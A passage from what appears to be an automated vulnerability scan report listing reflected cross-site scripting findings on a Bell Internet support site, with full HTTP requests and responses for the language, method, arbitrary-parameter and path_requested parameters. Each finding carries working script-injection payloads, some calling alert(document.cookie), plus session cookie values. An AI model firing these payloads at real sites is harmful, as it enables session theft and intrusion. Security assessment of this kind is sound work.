age%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=categories.view&category_id=546#billing_2b2ff"><script>alert(1)</script>04a873ed0ec&_payment" />
...[SNIP]...

2.17. http://internet.bell.ca/index.cfm [language parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the language request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d73a6"><script>alert(1)</script>55bcc3a12bc was submitted in the language parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=bandwidthMonitor.splash&language=end73a6"><script>alert(1)</script>55bcc3a12bc HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:29:02 GMT
Connection: close
Set-Cookie: SMSESSION=fEGuLhrONpdT6EYz7uzYvkBkO8FfD01EtlaGXn2YX3TN5DKpbNJY4knhs4/1IElblnWJyaJWMrlTbE5tJw4sbUaGSQB5LUIKzFQRo+NbbKP6NW5lZfWcf/5feS75//v0mbIp4vIhBvaQXFurjeU09FUvQdLfm2nG6A+l/X4gpz15xJb0RDQXvqIt2+GPXiWNKCIdFoaMOZU4xRC+i6iyzk3Q9LVTz7CFoWeDvIN9lF1h3zmB1v3GvhGa1HgsI2LWYHvm0iH5dvsfwY/jqL9E2Jfta8HlKGBlReq8ri7C8lsQNACO7q/+zQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:29:02 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EMon%20utilisation%20Internet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:29:02 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=bandwidthMonitor.splash&language=end73a6"><script>alert(1)</script>55bcc3a12bc" />
...[SNIP]...

2.18. http://internet.bell.ca/index.cfm [method parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the method request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5d91"><script>alert(1)</script>2218011ca93 was submitted in the method parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=c5d91"><script>alert(1)</script>2218011ca93 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; SMSESSION=6efOmr1xY6oKLPwpdewQyE43vjbKFAHVu1Ds1soMFaIn7FWe7Rhv7ScVpVk0Rj5WxhhLKuaphO5MzaqLsbW/A93qoN1yp5yg2SqRXxsZEll5qj0r3bPcnJUTKpyVd6KElrdxuRXlwPXU7FmHXxVLcX4VxvWV0vEnDZ1qtKytFMrRnTrCh60V00CpHK0xZu85j9mRkJuGoRB8W6eeVYiTkWCZVaebmi3cma+KxJY0sGT3U9LseWDpj87XGOXAB8inbG8hGwIuqvZ5Q3axidgrdFPnuz4FFKDLFAHSnhveld2mABelCG1REg==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; VOKEN_SEEN=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:23:40 GMT
Connection: close
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:23:41 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3Fmethod%3Dc5d91%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E2218011ca93;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:23:41 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=c5d91"><script>alert(1)</script>2218011ca93" />
...[SNIP]...

2.19. http://internet.bell.ca/index.cfm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c6f8"><script>alert(1)</script>8ca928cc6b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1&9c6f8"><script>alert(1)</script>8ca928cc6b9=1 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:24:12 GMT
Connection: close
Set-Cookie: SMSESSION=j4DboFb7N54dP37mC56COGD9xXNu+7ttj2uUoh+T6qThvv0Z3LDYR9yChPbSTV7LtnAvXySxdrHgwveuMb+EE6M+/DvwEqRlJnYPQUfS5orWQhwDat4lcjF+awu3zUHi/IuCplLriYght0Uyr6JTAwbboouig2ldGQ9rdGnabo4dLyiySK3GFIN91toHN+I0WXF/ukMLuZZS8j9MKLowv6Rjdtyd3nEWgpS2/hM587VS5ZPXQKgmpBBGxkQX3iO6tbAdXl9yxvKbYN6e2xssC9GK5q5/rkMz2H3YVwaWsOgOj+B49ryFaA==; path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:24:13 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1%269c6f8%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8ca928cc6b9%3D1;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:24:13 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1&9c6f8"><script>alert(1)</script>8ca928cc6b9=1" />
...[SNIP]...

2.20. http://internet.bell.ca/index.cfm [path_requested parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc683"><script>alert(1)</script>0f4ddb19276 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfm?method=promo_urls.validate&path_requested=http%3A%2F%2Finternet%2Ebell%2Eca%2Fincludes%2F404%2Ecfm%3F404%3Bhttp%3A%2F%2Finternet%2Ebell%2Eca%2Fimg%5Fgalleryaa7cc%2522%253E%253Cscript%253Ealert%281%29%253C%2Fscript%253Ef6e9167ed7c%2Fimages%2Fmap%5FcanadaOff%2Egifdc683"><script>alert(1)</script>0f4ddb19276 HTTP/1.1
Accept: */*
Referer: http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/90_en.gif
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: internet.bell.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=bXatz2tVfn2b9Lu3eXd5uIX+TL/g0Jq21PCA+7o7L6urWrsaUoYMYnxMC3lgvGY6vvi8wkryYekCxDWmWTGX37b+3hI4kBjnRWCRBZPPqnhS4dUjY7ON0rb6+SsFLLnqRztuAOKrnoQ9rElTALeSdccfyPd6bNaEPAqTDFwSz8DXjrN0NaNuXQDZQP6IQHWmWv+Fg64czOM9Y7AQEPJKj0gGMcIGRH+VcOVKjGfSOPghIj8AgvVNZeWOsbw1UBx4QlYNMu8ogKKNRDcNVVBp5P/fsoYeOuHyUyEfGlgTAFHRn3jOljkqAQ==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; CFID=121969904; CFTOKEN=31060806

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:35:51 GMT
Connection: close
Set-Cookie: SMSESSION=hfKAmiWH1AJddjhOEGP+eiFUtsZhkHy1vuzFUzrSNXH7D3QRlvBVdeMkD1hTImKaa86S3va/Tfvc+W1ZQl84XDBVg/D9vzrxTRfDdHkmAGcGnDZx9Su0LhClA5P/I2DKKFV2qsihGT+g5GxN8zNXpiIh9UD4TjoQhniLwDdDjDNk3M5mg93H5CO/ZTiyt6LhPiyFMjISy6eHUYf/KCDaK+8Nb3zXdTyd+jfbmv5mqPi7RN1mkW0L2bQImpzekWH1cXbZ66nKndzTToyV8qoANdEqvX4UM+ExGwYGrU41NLttGqNNOzFQUQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=78F2925E%2D65B8%2DB18C%2D85DE6B676F2F6E7E;expires=Thu, 15-Nov-2040 13:35:52 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
